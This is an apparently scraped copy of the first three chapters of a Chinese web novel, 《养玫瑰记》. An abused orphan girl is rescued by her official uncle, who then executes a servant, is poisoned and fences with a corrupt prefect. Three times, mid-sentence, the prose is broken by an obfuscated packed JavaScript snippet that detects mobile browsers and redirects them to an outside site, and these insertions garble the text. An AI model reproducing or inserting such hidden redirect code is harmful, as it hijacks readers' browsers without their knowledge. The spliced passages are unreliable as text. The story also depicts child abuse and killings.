《养玫瑰记》 1. 救孤 宋家的铁链，一是缚看门的狗，一是锁表小姐崔宝音。 门锁滴答响动，是寒雨打在生锈铁链上，像极了城破那日蛮军的马蹄。 窗外传来曹嬷嬷的冷嗤：“宝音姑娘，今日府中宴请贵客，你竟打碎了太太的陪嫁莲纹瓶，今夜你就在这闭门思过吧。” 夜风把庭院内虬枝新叶吹得铮铮作响，似那最可怖的魑魅魍魉。 宝音无暇理会这份惊怖，她死死裹紧飞絮的棉被，身体蜷曲，瘦得硌人的膝盖近乎顶到胃——那里空得发疼，像被人生生剜了一刀。但她不敢动。宋家的嬷嬷们说过，饿极了的人，连自己的指甲都能嚼碎了吞下去。 来之前宝音被罚跪在宋家祠堂，几乎一天未进水米，黄昏时分开始落雨，曹嬷嬷不知从何处寻了一辆漏雨的马车，将她赶到这里，要她静闭思过。 可那只霁蓝釉描金缠枝莲纹瓶明明是二小姐宋敏珠打碎的，怎么罚的是她？ 怎么每次宋家的大小姐、二小姐犯错，临了了受罚的总是表小姐崔宝音？ 宝音难受地闭上眼，浓长乌睫挤出一滴滚烫的泪珠，顺着烧得粉红的脸颊滑落，最终滞在枯燥的唇上。宝音舔了舔，这是她今日除雨水外喝的第二口水，可喉咙依旧干似刀刮。 要是阿耶阿娘没死，该多好啊。 想起阿耶阿娘，宝音心里慢慢泛起一片软。她还记得幼时阿耶教她背“瞻彼淇奥，绿竹猗猗”①，记得阿耶宽厚的背和肩膀上甜丝丝的糖葫芦，记得阿娘柔软的手轻捻她的耳垂哄她入睡，记得她坐在阿娘腿间作小船摇摇晃晃…… 春雷滚过天空，炸破宝音的美梦。阿耶的宽厚背影瞬间幻化为城破那日自尽于阵前的沾血尸影，阿娘柔软的手突然无比有力地将她推入地窖。万物寂灭，耳畔只剩下蛮军刺刀插入阿娘身体的那最后一声尖叫。从五岁到十二岁，这声尖叫贯穿了宝音每一个梦魇的漫漫长夜。 在梦魇中，她似将溺之人，眼睁睁看着自己堕入深潭，被水淹没，却无能为力。 子时三刻，窗外雨暂歇，玄刀劈开铁链，利器碰撞声刺破长夜。宝音从梦魇中惊醒，却看到屋门大敞，逆光而立的猩红官袍，手持玄铁刀，刀刃凛着寒光水汽。 宝音吓得想叫，可嗓子早已嘶哑。这所别院位处靖州城郊，分外偏僻，且无侍女小厮照料，她知道自己即便是喊破嗓子，也无人来救。宝音扯紧棉被靠墙瑟缩，心中乞求对方刀下留情。 男人丢了玄铁刀，带着审视的目光阔步行来。猩红官袍粘着雨丝，那寒气也随之逼近。 宝音颤抖着打了个喷嚏。 他未言语，皱眉抬手，伸向宝音，女孩儿惊惧地躲开。 宝音以为他终要杀了自己，不禁偏过脸，双目紧闭，不敢去看。浑身一轻，预期的殴打和掐颈都不曾到来，再睁眼，宝音连带这床败絮棉被均已被男人打横抱在怀中。 “我是崔承戟。”他冷声如寒铁，“你二叔。” 春雷滚动，天际闪电如金蛇游走，划破夜幕，照亮崔承戟带雨沾血的脸。那混了黏腻血水的雨滴自他眉峰滑过挺鼻，终是滴在宝音眉心，顷刻绽开一朵血色莲。 怀中人轻若无骨，病态奄奄，似孱弱小猫一般在他怀中瑟缩发抖，唯有那双因瘦而显得过分大的潋滟眸子，带了点惧怕与询问，轻轻柔柔地盯着他。崔承戟长眉微皱，沉声：“不是让你们护佑好宝音么？” 站在暗处的护卫跪地请罪：“宝音小姐身处后宅，属下日常去不得。只每次宋家人出门时，才能看得小姐几眼，都是好好的。” 崔承戟不耐听这些话，自一个狠戾眼风扫过去，那护卫忙噤声，将头垂得更低：“属下甘愿领罚。” 宝音的手指揪住崔承戟胸前的猩红官袍，指尖几乎要掐进绣纹里：“二叔……今年寄的年礼，宝音做了整整两个月，您可喜欢？” 崔承戟呼吸一滞，他从未收到过什么年礼——宋家这些年呈给他的礼单里，连一支笔、一方帕都不曾署过她的名。 怀中的孩子烧得滚烫，却仰着脸冲他笑，仿佛只要他点头，她就能从这笑容里榨出最后一丝气力。 ——她早习惯了用乖巧换取一点怜悯。 崔承戟喉结滚动，最终哑声道：“……喜欢。” 像是被人兜头浇了一桶冰水，宝音热切的心渐渐冷下去。今年的年礼是表面完好、内里破烂的护膝，她在夹层悄悄塞了一叠罗帕：帕子上绣一只被蟠龙咬断脖颈的小兔，帕子里放一簇宝音的断发。 二叔没有收到过她的信件礼物。 怪不得…… 马车在官道疾驰，崔承戟举了盏琉璃灯凑近宝音细细端详。 面无血色、身体孱弱的女孩，此刻蜷缩在矮榻，裹着那床败絮，阖目静静地睡下。她睡时面容恬静，呼吸平匀且细微，像怕扰了别人似的，不敢发出一丝动静。崔承戟心口皱得生疼，这是他早逝大哥唯一的子嗣，竟教他照顾成这个样子，多病、瘦弱、胆怯、敏感、孤僻。若不是今番至靖州查案，也许他还会把宝音继续留在她外祖家，并且每年暗斥这妮子竟不回一封信给他。 崔承戟取了氅衣替她盖上。 轮毂踏过矮石，马车四下颠簸。宝音的手臂从氅衣中滑落，纤细苍白的小臂上，两条血痕触目惊心，勾得崔承戟额角青筋紧绷。他蓦地捉住宝音的手臂，指尖触到肌肤时，宝音细不可查地蹙了下眉。惯使枪弄棒的手此刻小心翼翼地卷起布衣袖口，一条是刚刚结痂的红疤，一条已蜕了痂，留下一根淡淡的粉线，突兀地生在苍白肌肤。 “阿耶……阿娘……”宝音在梦中呢喃着父母的名字。 崔承戟觉到剜心的痛，下一瞬却闻见熟悉的铁锈味——是血。 蓦然，一根箭矢破空而来，直直插在马车上，半根箭头袒露眼前。崔承戟眉心皱紧，低喝道：“戒备！”周遭骑马的黑衣卫将马车团团围住。 崔承戟一手捞起榻上的宝音，将其塞入榻下暗格内。 宝音被动静吵醒。再度见到逼仄的空间，霎时逼她忆起母亲推她入地窖的旧景。宝音抓住崔承戟的手臂，爆出哭腔：“不要丢下我！” 崔承戟微愣，转而轻声哄道：“躲在里面睡会儿，不要动，二叔少顷便回来。” 宝音依旧不愿松手，她怕。可她亦怕误了崔承戟的事，只得慢慢松开手指，期期艾艾地乞求：“别丢我一个人。” 她乖顺地卧进暗格内，小心且熟练地蜷曲四肢，抬手抹掉眼泪：“宝音等二叔回来。” 崔承戟唇线绷直，袖下双拳暗暗握紧，咬牙道：“睡吧，二叔马上回来。”等解决了这批毛贼，他必要细细搓磨宋家人一番。 车外刀光剑影，宝音躲在暗格内，不停摩挲着袖口磨破的针脚。有那么几瞬，剑刃相击声与她只有一板之隔。她又想起城破那晚，也是这样的雨夜，阿耶凄凉地面对满城百姓，举刀划破喉咙；阿娘将她藏入地窖，用尸体遮住入口。她靠着地窖里仅有的粮食撑了七天，第八天，二叔以刀撬开地窖入口。 崔承戟打开暗格时，宝音仍以半个时辰前的姿势侧卧着。她乖顺、胆小，哪怕浑身发麻也一动不动，是令人省心的好孩子。可她越是这样，崔承戟越觉得愧疚。他对不起大哥，更对不起宝音。 重见光明的宝音，望着崔承戟淡淡地笑开。 她要把自己最好、最乖顺的一面展现给二叔，她不想回宋家了。 到达客栈时，已近四更，靖州城大街空无一人。崔承戟用氅衣将宝音裹得严实，抱她下马车，再抱她入客栈。 客栈内的小二均是男性，崔承戟外出公干也没有带侍女的习惯，故此照料宝音的事只能由崔承戟亲自来。 宝音的烧已渐渐退了，意识也慢慢恢复清明。她浑身脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279619|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污，布衣粘着雨水和崔承戟身上的血。崔承戟便要了一桶热水，让宝音坐在屏风后，自己拧好热毛巾递进去给她擦身子。 “二叔……”宝音轻声唤道。 崔承戟挑眉：“怎么了？” 屏风后瑟瑟伸出一只纤细的、脱臼的手：“手疼，使不上力。刚刚躲的时候，好像压到了。”她怕崔承戟嫌自己多事，忙添了句：“二叔随便喊个丫鬟嬷嬷来就行，我自己能照顾好自己。” “你在宋家，没有贴身侍女伺候吗？”他轻轻握住宝音的伤手，忍不住问。 “没有。”宝音垂头。 “也好。”崔承戟掌心冰凉，覆上因脱臼而有些红肿的腕骨，“过几日，你随我回京，不必再与宋家牵上干系了。” 宝音惊喜，尾音微微上扬：“真的？” 崔承戟倏忽使力，两骨相合发出“嘎”一声。宝音嘶声喊疼，眼泪夺眶而出，另一只好手攀上画屏的山水纹，在青绿的山顶留下五颗椭圆的月牙儿。 “宝音，手受伤了，就该当即告诉二叔。” 我怕给二叔添麻烦，我以为它自己能好。宝音心说。 可话到嘴边，只剩下一句呜咽：“对不住。” 屏风那头传来低叹。崔承戟递进一只尚冒热气的毛巾卷儿：“宝音，把身上擦干净。” 湿热的毛巾卷，烙出二叔骨指的轮廓，宝音要两只手才堪堪能圈住。腾腾热气卷到宝音的眼眶里，化为暖雾，氤氲了眼前的景象。 今日是二舅母的生辰，宋府宴请宾客，当中便有二舅母的娘家外甥王蟠。王蟠今已十六，成天价斗鸡走狗、不务正业，每每来宋府，总要缠着宝音，有次竟把手往宝音衣服里伸。宝音厌极了他，可她没有能替她主持公道的人。故此，今晨宝音特意去找宋敏珠玩，引她去大夫人屋里，不动声色地让宋敏珠“无意”磕碎了大夫人的陪嫁莲纹瓶。宝音算准了大夫人会顾及二夫人今日做生辰的体面，最后对宋敏珠仅是几句轻责，对宝音却是重罚。 她果真被罚跪祠堂、赶到别院，免去与王蟠厮见。只是她没想到，二叔会来。 宝音曾多次在寄给二叔和祖父的信件中呼救暗示，皆无回音。她还以为他们不要她了，也便渐渐死心。 如今看来，那些信件礼物怕是连崔府门楣都没跨过。 她知道，宋家人不喜欢她这个孤女，但又需要她活着，好让祖父和二叔永远欠宋家一份“养育之恩”。 屏风上头搭了一套玄色寝衣，二叔颀长身姿影影绰绰映在青绿山水屏风间。 “宝音，换套干净寝衣再去睡。” 这是崔承戟的寝衣，宽大的剪裁、滑溜的布料，宝音许久没有穿过这样簇新、这样上好的衣料了。 屋内静得很，崔承戟很不知道该如何照顾这个才堪堪十二岁的小姑娘。跟在他身边的一应是小厮护卫，他从小到大接触的一应是男子物品，如何养一个小姑娘？但他确信，不能把宝音送回去，过去七年他辜负了大哥所托，再不能眼睁睁看这个孩子还未绽放便临将枯萎。 玄色寝衣被山水画屏吞进肚里，一点声响都没有的，只一会儿，宝音从画屏后挪步走出。宽大的寝衣罩在她身上，顺溜地垂下，包住双臀，堪堪在膝盖上方。她没穿寝裤，而是抱在怀中，很抱歉地蹙眉：“腰太大了，会滑下来。” 她该长得胖些。 崔宝音抱歉地想。 崔承戟愧疚地想。 崔承戟指了指黄梨木雕花拔步床：“今夜你睡在这。等明日办好靖州的案子，最快下午我们就回家。” 宝音顺着望过去，银钩松松吊起软烟罗帐。 崔承戟补充道：“我睡在外间，哪里不舒服就喊我。宝音，不要怕麻烦别人。” 崔宝音觉得自己又想哭了。 ①瞻彼淇奥，绿竹猗猗：出自《诗经·卫风》。 2. 中毒 宝音醒来时，天光大亮，已临近正午。 她钩了帘帐，才发现屋内静悄悄没有一个人，只那八角桌上堆着小山似的绸缎布料，皆是如今靖州城内卖得最紧俏的颜色。 宝音趿鞋走近，新奇地将衣物捧在手心，真真是光滑细腻。 “好漂亮的裙衫！”宝音由衷赞叹。从前在宋家，她只能跟在宋敏珠姐妹身后，看她们穿最时新的衣装。 贞杏轻轻推门而入，见宝音站在桌后，扬起笑靥：“姑娘醒啦。”她双手捧食盘，食盘内置一盅牛乳并几碟新鲜精致糕点。 贞杏将食盘搁在桌上，蹲身作了个礼，眼睛笑成两条缝：“宝音姑娘，奴婢叫贞杏，从今起贴身伺候姑娘。”她摸了摸堆在桌案的颜色衣裳，补充道：“这是早起崔少卿使人买给姑娘的呢。少卿现在前头海棠红厅会客，让姑娘挑件喜欢的妆扮好，略进些早膳，再去前头寻他。” 牛乳、糕点、新衣裳…… 宝音欢喜极了，一会儿摸摸衣服，一会儿又捧着牛乳发呆。自爹娘死后，宝音第一次觉得自己有人疼。 她挑了套藕荷色的衣裙，贞杏替她束衣带时，宝音忽然僵住——指尖触到裙裾内侧平整的缝口。 那是宋敏珠的惯用伎俩。从前夫人们每次“赏”她旧衣，宋敏珠总要在暗处剪上几道口子，仿佛连施舍也要狠狠踩上一脚才痛快。 可眼前这套藕荷裙衫，布料讲究，裁剪合宜，连内里针脚都缝得细密平整。 原来真的有人，在她看不见的地方都仔细护着。 宝音鼻尖一酸，侧过脸去端牛乳盏掩饰慌乱，却不慎溅出几滴在新衣袖口。贞杏“哎呀”一声，掏出帕子就要擦，宝音按住贞杏的手：“别……别告诉二叔。” 她要藏好所有的狼狈与笨拙，才能守住这点来之不易的暖。 暗卫榕参守在海棠红厅门口。见宝音过来，榕参上前一步：“宝音姑娘，从后门进，进去后先别出声。”将宝音安置在厅内的十六开绣屏后，榕参便悄悄退出去了。 “崔大人，可不巧了。昨儿府上做寿，大人若早来一天，咱们两家也好欢聚欢聚。” 是大舅宋继文的声音！ 宝音心口一颤。 崔承戟的声音不辨喜怒：“宝音呢？” 那头的人显见得愣了片刻，再开口却是二舅宋宗武：“开春了，那孩子身体不好，每到换季便咳嗽不停。故此在府里歇着，今日不曾带她出来。” 崔承戟指节轻叩茶盏，白瓷脆响惊得宋继文眉头一跳：“月前贵府寄来的信上，说得可是宝音平安康健。” 宋宗武赶忙赔笑：“不是什么要紧的病。吃几副药就完事，小孩子，有个病啊疼啊的是极正常的。” 宋继文也附和：“正是这话。崔大人不曾养过孩子，不知道也难免。” 崔承戟忽然倾身向前，眯眼盯住宋氏兄弟：“怎么宋敏珠不是这样说？” 宋宗武一惊。 崔承戟轻轻笑开，自袖中抖落一叠信纸：“令媛宋敏珠寄与她姨表姐妹的信上，可清清楚楚写着：腊月廿八，待哄那丧门星绣完最后几只荷包，姊妹几个平分，给蟠弟也送些，以便赏赐年礼。” 他一字一顿：“谁是丧门星？” 屏风后的宝音攥紧袖子，原来那段时日宋敏珠待她亲热，是为了拿她绣的香囊荷包赏给丫鬟小厮作年礼。 “这……”宋宗武哑口。 崔承戟脸色沉如玄铁：“榕参，将人带进来。” 榕参押着一老妇进来。宋继文兄弟一瞧，这老妇正是伺候宝音的曹嬷嬷。榕参一脚踹在曹嬷嬷腿肚子，迫她跪下。 曹嬷嬷哎哟一声跪地，腕间铁链哗啦作响。她脖颈间一道陈年旧疤，喘息时蠕动如虫：“大人，老奴什么都不知道啊！全是按主子的吩咐行事……啊——” 崔承戟搁在桌上的长剑此刻已脱鞘按在曹嬷嬷颈间旧痕处，他声线淬冰：“吩咐的什么。” 曹嬷嬷早已吓得老泪纵横，全不顾什么主仆情谊，声音颤抖：“冬日克扣碳，夏天不送冰。凡是宋家姑娘们犯错，皆罚宝音小姐……” “如何罚！”崔承戟斥问。 宋宗武额角沁汗，强撑着骂曹嬷嬷：“老贱妇！背着我们做尽毬事！”转而同崔承戟道：“崔贤弟，宝音是我亲妹妹唯一的孩子，我们怎么可能害宝音？这些事我们实不知情啊。” 曹嬷嬷掀了眼皮偷看宋氏兄弟，唇角翕动似在咒骂宋宗武。崔承戟力道忽重，剑刃割破旧疤，血自剑身滑落。 曹嬷嬷忙求饶：“大人饶命！大人饶命！我说，我全说！都是主子们教奴才的，关禁闭，跪祠堂，不给饭吃，拿戒尺打……” 晦暗无光的记忆自脑海深处袭来，宝音踉跄后退，后腰重重磕上门框，剧痛唤醒混沌记忆—— 戒尺抽在手臂的脆响、祠堂青砖地渗进骨缝的寒气、饿极时嚼碎小虫的恶心腥苦…… “宝音。”崔承戟的剑刃仍旧滴着血，声音却轻得像怕惊碎琉璃，“到二叔这儿来。” “宝音？！”兄弟俩异口同声。 宝音自屏风后慢慢挪出，垂首望着地上血迹，仿佛那些血是从她脚下淌出来的。一步，两步，绣鞋在青砖地上印出半朵残梅。 宋宗武刚要开口，却被宋继文扯住。他含笑望着宝音，全然一副慈爱长辈的模样：“乖宝音，好宝音，从前苛待了你是我们不对，但这些舅舅们不知情呀。都是曹嬷嬷做的，对不对？” 曹嬷嬷闻言，一口血痰啐在宋继文脸上：“你娘的喷屎——” 话未说完，崔承戟的剑直直插进曹嬷嬷胸口。他收了手，捂住宝音因惊慌而瞪大的双瞳，俯在她耳侧轻声道：“宝音刚刚什么都没有听到。” 从现在起，他不许任何人再在宝音面前说这些污言秽语。 宝音愣愣点了头。 “你……你……”宋宗武近乎尖叫，“你竟杀人！” 崔承戟给榕参递去眼风，榕参会意，打了个响指，瞬间厅内多出四五个暗卫。他们一齐涌上，铁链锁住宋氏兄弟。 宋继文挣扎：“你，你做什么！” 崔承戟牵住宝音的手，轻笑：“本官奉皇命来靖州查案，今意外缴获三年前靖州盐税案之共犯，押解回京，留待圣人定夺。” 榕参将一卷案宗丢在宋氏兄弟眼前，其中行行列列无不是宋家贪污盐税的铁证。 宋继文匆匆扫过，大声分辨：“假的，都是假的！崔承戟，你伪造证据，诬告忠臣！” 榕参嗤笑出声：“若你宋家清白，一夜之间将证据伪造得如此周密，倒也不易。宋大爷，你既然不知这些赃物，何不问问你身旁的宋二爷和你家娘子？” 宋继文惊惧转头，宋宗武埋首不敢看兄长。 榕参扭腕一抖，账册间倏忽滑落半块青铜符，宋宗武瞳孔皱缩——这是他三年前献给三皇子的投诚信物。 崔承戟脚尖碾过兵符，啧声：“靖州兵的半块兵符——宋参军，这够不够你宋家死十次？” “完了……”宋继文踉跄跌坐在地，“都完了……” 三年前的那场盐税案，恰卷入大皇子与三皇子之党争，圣人发了好大怒，凡涉案者皆判死罪。半年后，大皇子封太子，三皇子封雍王，赶去封地雍州。如今旧事再提，宋家可有活路？ 崔承戟拭净指尖血污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279620|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，从怀中掏出油纸包着的桂花糖：“从前听大哥说过，宝音最爱吃桂花糖。” 连宝音都快忘了，自己最爱吃桂花糖。八年前随口的一句话，二叔却还记得。 宝音举了双手怔怔接过，不少桂花糖已碎裂成渣，一如她被碾碎的童年。但好在，还有几颗完好，一切还来得及。 崔承戟含笑揉了揉宝音发顶：“先回屋。数到三百下时，二叔回去陪你用膳。”转身，眸中温柔寸寸淬炼为冰。 宝音乖乖点头。 等她消失在视线，崔承戟一脚踹在宋宗武腹处，他蹲身与宋氏兄弟平视：“三年前为了保你们，费了我与父亲诸多精力。你们就是这样报答崔家的？嗯？” 那一脚力道甚大，宋宗武觉得小腹处升起一股暗流，直逼到喉咙口。他没忍住，“噗”一声呕出口血来，直勾勾喷在崔承戟的官袍上。他这才发现，猩红官袍上由银线细密织就的飞鱼纹本该迎光闪耀，如今只剩一片暗褐，像被血反复浸透后再也洗不净的脏污。 八仙桌上摆满菜馔，皆是靖州名厨所烹。宝音捧着桂花糖坐在桌边，心里怎么也忘不掉方才的情景。 曹嬷嬷死了，死在她面前。 从前那样辱骂虐待她的、无比鲜活的曹嬷嬷，顷刻就成了一滩不会动的血肉。她恨曹嬷嬷，也怕见人死。 矛盾的心绪揪着宝音所有神经，连崔承戟进屋也不曾发觉。直到她嗅见那股熟悉的铁锈味，宝音猛地抬头，崔承戟已坐在她面前，凝盯着她。 他换了身衣服，干净、矜贵。 可仍旧掩盖不住那刺鼻的铁锈味。 宝音觉得心口砰砰直跳，像被人丢了只兔子在怀中：二叔还杀了宋家舅舅吗？ “怕了？”崔承戟倏忽开口。 宝音摇头：“……对不住，二叔。” 对不住，若不是她，二叔也不必与宋家人打交道；对不住，若不是她，二叔也不必染指这些事。 “宝音……”崔承戟觉得喉咙有一丝甜腥，“我是你二叔。为你做任何事，皆是应该的。” 哪怕是死。 在他幼时，是大哥处处护佑他，甚至因他留下腿疾。如今大哥亡故，他便应当像昔日大哥那样，全力护佑他的孩子。 他感觉到头脑愈重，意识渐迟，终于想到昨夜遭遇袭击时，有名刺客往马车暗格方向跑去。他当时一心护佑宝音，却不察背后箭矢。 那伤口不深，且未伤在致命处，故而昨夜只是同往常一般随意止住血。今早他忙宝音和宋家的事，竟忘了请郎中好生敷药包扎。 “二叔！”宝音的声音像隔在琉璃罩子外头。 他看见宝音色变，丢了桂花糖朝他奔来，神色惊惶地扶住他。 崔承戟忽而意识到，那箭头有毒！ 宝音瘦弱的身躯根本承受不住一位成年男子的重量，她与二叔一道轰然坠地。她眼睁睁看着二叔压在自己身上，长眉紧蹙。他的双臂颤巍巍撑在绣毯上，尽力不压到宝音。 崔承戟唇角翕动，哆嗦着在她耳畔说：“请、请……” 请郎中。 话未说完，崔承戟已失去意识。哪怕是最后一刻，他也使尽全力朝宝音身侧歪过去，剩一只手臂重重横在宝音身上。 “二叔！”宝音哭腔明显，她迅速起身跑出门，正见榕参及几名暗卫押解衣着脏污的宋氏兄弟出门。 宝音喊：“救，救二叔！快请郎中！” 榕参愣怔一瞬，立刻拔腿往屋内跑。 宋宗武抬起满是血污的脸，恶狠狠睨了宝音一脸，朝地上啐了口血痰。 “丧门星，晦气东西。” 宝音浑身僵住。 3. 照顾 “阿兄！” “阿兄！” “对不起……” 崔承戟在梦魇中急急呼唤兄长崔守锋的名字，八年前的记忆如波涛般在他脑海中汹涌反复。 窗外天色已暗，万字纹窗棂间漏进几线月光。 宝音端了盆凉水走近，脚尖轻轻踩碎琉璃月光。她拧干帕子贴在崔承戟额上，却被他滚烫如烧炭的手攥住腕子。 “……冷……阿兄，密州好冷……”崔承戟烧得糊涂。 密州，是阿耶殉城的地方，是宝音破碎童年的缘起之处。 宝音低下眸子，握住二叔的手，轻声：“二叔放心，宝音会给阿耶阿娘报仇。” 她想起自己藏在宋家库房里的瓦罐——那是她偷食剩饭时无意间发现的红头蚁。 如果昨夜二叔不来救她，宝音会安静地等待一个晴朗有风、适合放火的夜晚。她会将红头蚁放在仇人枕下，待红头蚁啃噬他们的脸骨时，大火会吞噬他们的身体。而表小姐崔宝音因住处偏远，躲过火劫。 此后，宝音新生。 或许昏迷中的崔承戟听懂了宝音的弦外之意，他反握住宝音的手，扯过她的腕子往心口上按。 掌心猝不及防地贴上一层灼热肌肤，宝音耳垂腾地红了。她想抽回手，又怕扯裂他肩上的箭伤。 原来冷面少卿崔承戟的胸膛，比寻常人壮实，心跳也比寻常人急三分。 宝音将头轻轻枕在崔承戟结实的臂膀，呼出一口气。她想到被困在地窖的那七天里，无数次向天上的功曹仙官祈愿——她要活着，她要找到朝廷扣留援兵的秘密。 “二叔，我在地窖里发过愿的。谁给我一口饭、救我一条命，我就还他一条命。” “二叔，你救了宝音两次。” 待宝音堪堪入眠时，她感觉到崔承戟的体温骤降，此刻枕着的那条手臂寒如玄冰。宝音支臂坐起，郎中说过，冷是最难熬的，熬过冷，这位大人的命就保住了。 宝音得帮二叔熬过去！ 她翻遍行李木箱仅找到一条厚毯。崔承戟身材颀长高大，那毯子遮到脖颈便遮不住脚，盖住脚就露胸膛。宝音一咬牙，解了罩衫钻入厚毯抱住他。 少女的体温和淡淡桂花香钻进鼻尖，意识模糊的崔承戟本能地往唯一热源贴。他在梦中身处冰山之巅，临将冻死之际，忽而有一株桂花树，树下温暖如春。他坐在树下，拼命汲取暖热。梦外，他紧紧箍住宝音，恨不得将她揉进身体里。 他身上的冰凉让宝音止不住打颤，她觉得自己五脏六腑都快要被按碎了，但宝音很欢喜，她在报恩，她在还二叔的一条命。 宝音拥有的东西很少很少，吃的穿的都是别人施舍的，但好在身体是宝音自己的。她会用自己的东西回报二叔。 当窗外打更梆子声响起时，宝音只迟缓了几瞬便睁开双眼。她起身坐在床沿，不多时，榕参捧一碗苦药悄悄瘪进来。 宝音双手接过药碗，轻声道：“榕参，你去睡吧，这里有我。” 榕参压低了声音：“小姐，还是你去休息吧，后半夜大人就交给属下。” 宝音未答，而是转了话头：“你查到昨夜下毒的刺客了吗？” 郎中说，崔承戟所中之毒属慢毒，发作慢，无色无味极难察觉，方便掩盖下毒之人。毒发后冷热交替，撑不住的就丢性命，若能撑住，便有医治可能。只是如今尚无解药，恐怕得去京都请御医们诊治。 榕参皱眉摇头：“倒是有个死了的刺客，在他身上查出这个东西。”他掌心一只翠绿荷包，角落赫然绣一匹柳叶马头。 宝音一惊：“这是郑家的东西。”她解释道：“我大舅母郑太太的娘家，她家喜欢用柳叶马头的记号。” 榕参眸子蓦然晶亮，他将药碗交到宝音手中：“属下这就去查。” 宝音捧着药碗回去，只见崔承戟抬手抵在额前，蹙眉喘气。他已从梦魇中脱身，只是意识尚且模糊。他记得自己救了宝音，后面的事却是朦朦胧胧。 药匙抵到唇边，崔承戟感到一阵涩苦，偏过脸：“……苦。” “二叔病死了，就没有人照顾宝音了。”宝音说得可怜。 崔承戟立刻仰脖饮尽，这药苦得他睫毛乱颤。下一瞬却有桂花糖香溢满唇口。 “还苦吗？” “甜。”他闭着眼哑声呢喃。 崔承戟彻底清醒是翌日辰时。彼时鸟雀嘤啭，一缕熹光穿透窗格，正洒在宝音瘦弱的脊背，像铺了层迎光闪烁的金粉。 她趴在他的手臂上，鼻息平匀地睡着，手腕处一片青紫——昨夜他箍的。崔承戟心口一紧，宝音不该跟着他受这些罪。 “宝音？”他轻声唤。 那边却不觉动静。 她累得很了，为了照顾崔承戟几乎熬了半夜，此刻撑不住睡着，只怕春雷滚滚才镇得醒她。 崔承戟将宝音抱起，轻缓放置在拔步床内侧，掖好被角。他正要起身，门外传来榕参的声音：“大人，靖州刺史邬大人来了。” 崔承戟解下帐幔，遮住卧在里侧的宝音。他坐在床沿，略理仪容，道一句：“请。” 不多时，靖州刺史邬立同步入。他约莫四十岁左右光景，目光清朗精明。见崔承戟坐于床沿，床幔却捂得严实，影影绰绰掩着身后略略凸起的小山，不由勾了唇角。邬立同错开眸子，作个平揖：“崔少卿身体无恙否？” 崔承戟点头：“想来已过生死关了。” “今晨获悉大人受伤，某心中不安，特来拜见。”邬立同抬眸，“大人今番至靖州查私铸银锭案，陛下与殿下都关心得紧。” “有劳大人关心。陛下圣命所负，承戟莫敢懈怠。”崔承戟咳嗽一声。 邬立同呵呵笑：“昨日悉知宋氏数罪，实乃某御下不严之责。今严查靖州府衙，又得新证。”他从怀中取出一本卷宗，交由榕参，“宋宗武的赌坊账册，少卿可要细查？” 榕参双手奉上，崔承戟不动声色地推开：“邬大人连泊在靖州港的那只漕船都查清了，本官何须费心？” 邬立同瞳孔皱缩：“我……” 崔承戟笑开，嘴唇因受伤而泛白：“邬大人不必忧心，灰烬比活人听话，您以为呢？”崔承戟行至桌前，拢袖焚卷宗：“本官三年前便见过一份赌坊账册，怕是与邬大人这份——”他一字一顿：“大同小异。” 邬立同颤抖的瞳孔中，火舌瞬间吞噬卷宗。他转了话头，强笑道：“听说崔少卿此番过来，还为了接家中女孩儿？” “我长兄的孩子。” “不知年岁几何？” “十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279621|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 邬立同略一沉思：“倒巧了。” 崔承戟难得抬眸：“哦？” 邬立同忙赔笑：“我家中有几个孩子，这两年也到议亲的年岁了，看到适龄的孩子，总不忍住琢磨这些事。人啊，到了一定年纪，也不想那些仕途什么的，只知道琢磨儿女亲事了。” 崔承戟干笑两声：“她还小。” “少卿大人膝下无子，怕是不知道。东宫现有两个皇孙，一个十三岁，一个刚满十一，殿下与太子妃娘娘已开始相看了。我们靖州王老太傅的嫡孙女，上月刚接去京都二房家，说是要做公主伴读，也是才十二岁的年纪。” 崔承戟却笑不出来了，他确实从不曾在这些事上留意过，或者说，他从未考虑过宝音的亲事。在他心中，照顾好宝音就是让她吃好穿好、不受人欺侮。 谈婚论嫁，太遥远了。 邬立同见崔承戟陷入沉思，知他听进去自己的话，他起身：“少卿大人好好养伤，过几日某再携家眷登门拜访。” “榕参送邬大人一程。”崔承戟凝眸，“走漕船那条水路。” 邬立同浑身一僵。 崔承戟笑开：“玩笑话。邬大人，恕本官不能相送了。” 马车驶出百米后，邬立同脸上笑意寸寸成冰，他突然捏碎茶盏，冷声道：“三月初九的那只漕船，必须沉了。” 身旁小厮小心抬头道：“大人，那漕船上的东西……” 邬立同蓦地转头看他：“崔承戟怎么知道本官与漕船的干系？这事连夫人都不知晓。” 小厮冷汗涔涔：“小的命是大人救的，绝不会告密——” 